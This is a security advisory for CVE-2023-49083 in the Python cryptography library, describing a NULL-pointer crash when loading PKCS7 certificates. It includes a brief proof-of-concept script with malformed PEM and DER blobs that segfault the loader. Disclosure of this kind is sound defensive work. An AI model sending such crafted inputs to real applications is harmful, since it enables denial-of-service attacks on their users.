Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

References

• GHSA-jfhm-5ghh-2f97
• pyca/cryptography@f09c261
• https://nvd.nist.gov/vuln/detail/CVE-2023-49083
• pyca/cryptography#9926
• http://www.openwall.com/lists/oss-security/2023/11/29/2
• https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml
• https://lists.fedoraproject.org/archives/list/[email protected]/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV